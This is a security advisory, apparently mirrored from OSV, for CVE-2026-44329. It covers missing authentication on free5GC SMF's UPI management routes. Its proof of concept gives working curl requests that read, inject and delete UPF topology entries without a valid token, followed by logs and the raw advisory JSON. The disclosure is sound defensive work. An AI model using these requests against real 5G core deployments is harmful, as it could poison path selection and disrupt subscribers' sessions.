GHSA-3258-QMV8-FRP3严重已审查

free5GC's SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers

OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 04:12

发布时间

2026-05-09 07:02

GitHub 审查时间

2026-05-09 07:02

NVD 发布时间

2026-05-28 01:16

源文件

advisories/github-reviewed/2026/05/GHSA-3258-qmv8-frp3/GHSA-3258-qmv8-frp3.json

公告说明

Summary

free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.

The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.

Details

Validated against the SMF container in the official Docker compose lab.

Source repo tag: v4.2.1
Running Docker image: free5gc/smf:v4.2.0
Docker validation date: 2026-03-13

Control comparison on the same SMF instance:

GET /upi/v1/upNodesLinks (no token) -> 200 OK
GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized

This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.

Code evidence (paths in free5gc/smf):

UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76
OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95
UPI business handlers (read / write / delete on upNodesLinks):
- NFs/smf/internal/sbi/api_upi.go:44
- NFs/smf/internal/sbi/api_upi.go:60

NFs/smf/internal/sbi/api_upi.go:84

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

READ UP-nodes/links with NO Authorization header -> 200 OK:

curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks

WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK:

curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'

DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):

curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \
  -H 'Authorization: Bearer not-a-real-token'

CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized:

curl -i http://10.100.200.6:8000/nsmf-oam/v1/

SMF container logs (docker logs smf) confirm the side-by-side behavior:

[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNodesLinks
[INFO][SMF][GIN] | 401 | GET    | /nsmf-oam/v1/
[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313
[INFO][SMF][GIN] | 200 | POST   | /upi/v1/upNodesLinks

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.

Any party that can reach SMF on the SBI can:

Read SMF's current UP-node and link topology view anonymously.
Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions.
Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.

The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).

Affected: free5gc v4.2.1.

受影响的软件包

github.com/free5gc/smf

ECOSYSTEM

引入0修复1.4.3

标识信息

别名 / CVE

CVE-2026-44329

CWE

CWE-306CWE-862

软件生态

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

原始 OSV JSON

{
  "id": "GHSA-3258-qmv8-frp3",
  "aliases": [
    "CVE-2026-44329"
  ],
  "details": "### Summary\nfree5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations.\n\nThe defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.\n\n### Details\nValidated against the SMF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/smf:v4.2.0`\n- Docker validation date: 2026-03-13\n\nControl comparison on the same SMF instance:\n- `GET /upi/v1/upNodesLinks` (no token) -> `200 OK`\n- `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized`\n\nThis side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process.\n\nCode evidence (paths in `free5gc/smf`):\n- UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76`\n- OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95`\n- UPI business handlers (read / write / delete on `upNodesLinks`):\n  - `NFs/smf/internal/sbi/api_upi.go:44`\n  - `NFs/smf/internal/sbi/api_upi.go:60`\n  - `NFs/smf/internal/sbi/api_upi.go:84`\n\n### PoC\nReproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.\n\n1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`:\n```\ncurl -i http://10.100.200.6:8000/upi/v1/upNodesLinks\n```\n\n2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`:\n```\ncurl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"links\":[{\"A\":\"gNB1\",\"B\":\"UPF-POC-20260313\",\"weight\":1}],\"upNodes\":{\"UPF-POC-20260313\":{\"type\":\"UPF\",\"nodeID\":\"198.51.100.20\",\"addr\":\"198.51.100.20\",\"sNssaiUpfInfos\":[{\"sNssai\":{\"sst\":1,\"sd\":\"010203\"},\"dnnUpfInfoList\":[{\"dnn\":\"internet\"}]}]}}}'\n```\n\n3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):\n```\ncurl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \\\n  -H 'Authorization: Bearer not-a-real-token'\n```\n\n4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`:\n```\ncurl -i http://10.100.200.6:8000/nsmf-oam/v1/\n```\n\nSMF container logs (`docker logs smf`) confirm the side-by-side behavior:\n```\n[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNodesLinks\n[INFO][SMF][GIN] | 401 | GET    | /nsmf-oam/v1/\n[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313\n[INFO][SMF][GIN] | 200 | POST   | /upi/v1/upNodesLinks\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.\n\nAny party that can reach SMF on the SBI can:\n- Read SMF's current UP-node and link topology view anonymously.\n- Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions.\n- Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.\n\nThe defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/887\nUpstream fix: https://github.com/free5gc/smf/pull/197",
  "summary": "free5GC's SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ]
        }
      ],
      "package": {
        "name": "github.com/free5gc/smf",
        "ecosystem": "Go"
      }
    }
  ],
  "modified": "2026-06-08T20:12:01Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H"
    }
  ],
  "published": "2026-05-08T23:02:23Z",
  "references": [
    {
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-3258-qmv8-frp3",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44329",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/free5gc/free5gc/issues/887",
      "type": "WEB"
    },
    {
      "url": "https://github.com/free5gc/smf/pull/197",
      "type": "WEB"
    },
    {
      "url": "https://github.com/free5gc/smf/commit/e23ce97565f285eb99eed153743c62bf4c767c6e",
      "type": "WEB"
    },
    {
      "url": "https://github.com/free5gc/free5gc",
      "type": "PACKAGE"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "nvd_published_at": "2026-05-27T17:16:38Z",
    "github_reviewed_at": "2026-05-08T23:02:23Z"
  }
}